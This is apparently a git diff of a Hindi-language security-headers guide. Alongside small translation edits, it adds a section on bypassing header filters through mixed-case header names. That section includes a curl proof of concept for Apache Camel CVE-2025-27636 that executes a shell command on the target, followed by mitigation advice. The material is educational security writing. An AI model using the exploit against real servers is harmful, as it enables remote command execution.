- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल को **inline** (वेबपृष्ठ के भीतर) प्रदर्शित किया जाना चाहिए या एक **संलग्नक** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए:
|
||||
- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल **इनलाइन** (वेबपृष्ठ के भीतर) प्रदर्शित की जानी चाहिए या एक **संलग्नक** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -129,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg"
|
||||
|
||||
### **विश्वसनीय प्रकार**
|
||||
|
||||
CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित रखा जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकें, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित करते हैं।
|
||||
CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित रखा जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकते हैं, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित करते हैं।
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -179,8 +179,43 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 defines header field‐names as **case-insensitive** (RFC 9110 §5.1). Nevertheless, यह बहुत सामान्य है कि कस्टम मिडलवेयर, सुरक्षा फ़िल्टर, या व्यावसायिक लॉजिक मिलते हैं जो *literal* हेडर नाम की तुलना करते हैं जो पहले casing को सामान्य किए बिना प्राप्त होता है (जैसे `header.equals("CamelExecCommandExecutable")`)। यदि ये जांचें **case-sensitively** की जाती हैं, तो एक हमलावर उन्हें बस एक अलग पूंजीकरण के साथ वही हेडर भेजकर बायपास कर सकता है।
|
||||
|
||||
इस गलती के प्रकट होने वाली सामान्य स्थितियाँ:
|
||||
|
||||
* कस्टम अनुमति/अस्वीकृति सूचियाँ जो "खतरनाक" आंतरिक हेडर को ब्लॉक करने की कोशिश करती हैं इससे पहले कि अनुरोध एक संवेदनशील घटक तक पहुंचे।
|
||||
* इन-हाउस कार्यान्वयन जो रिवर्स-प्रॉक्सी pseudo-headers (जैसे `X-Forwarded-For` sanitisation) का उपयोग करते हैं।
|
||||
* फ्रेमवर्क जो प्रबंधन / डिबग एंडपॉइंट्स को उजागर करते हैं और प्रमाणीकरण या कमांड चयन के लिए हेडर नामों पर निर्भर करते हैं।
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. एक हेडर की पहचान करें जो सर्वर-साइड पर फ़िल्टर या मान्य किया जाता है (उदाहरण के लिए, स्रोत कोड, दस्तावेज़, या त्रुटि संदेश पढ़कर)।
|
||||
2. **विभिन्न casing** (mixed-case या upper-case) के साथ वही हेडर भेजें। क्योंकि HTTP स्टैक्स आमतौर पर हेडर को केवल *user code चलने के बाद* मानकीकरण करते हैं, इसलिए कमजोर जांच को छोड़ दिया जा सकता है।
|
||||
3. यदि डाउनस्ट्रीम घटक हेडर को case-insensitive तरीके से संभालता है (अधिकतर ऐसा करते हैं), तो यह हमलावर-नियंत्रित मान को स्वीकार करेगा।
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
कमजोर संस्करणों में Apache Camel के *Command Center* रूट्स अनट्रस्टेड अनुरोधों को ब्लॉक करने की कोशिश करते हैं `CamelExecCommandExecutable` और `CamelExecCommandArgs` हेडर को हटा कर। तुलना `equals()` के साथ की गई थी इसलिए केवल सटीक लोअरकेस नामों को हटाया गया।
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
हेडर `exec` घटक तक बिना फ़िल्टर किए पहुँचते हैं, जिसके परिणामस्वरूप कैमेल प्रक्रिया के विशेषाधिकारों के साथ दूरस्थ कमांड निष्पादन होता है।
|
||||
|
||||
### पहचान और शमन
|
||||
|
||||
* सभी हेडर नामों को एकल केस (आमतौर पर लोअरकेस) में सामान्यीकृत करें **पहले** अनुमति/अस्वीकृति तुलना करने से।
|
||||
* संदिग्ध डुप्लिकेट अस्वीकार करें: यदि दोनों `Header:` और `HeAdEr:` मौजूद हैं, तो इसे एक विसंगति के रूप में मानें।
|
||||
* सकारात्मक अनुमति-सूची का उपयोग करें जो **कैनोनिकलाइजेशन** के बाद लागू की जाती है।
|
||||
* प्रबंधन अंत बिंदुओं को प्रमाणीकरण और नेटवर्क विभाजन के साथ सुरक्षित करें।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user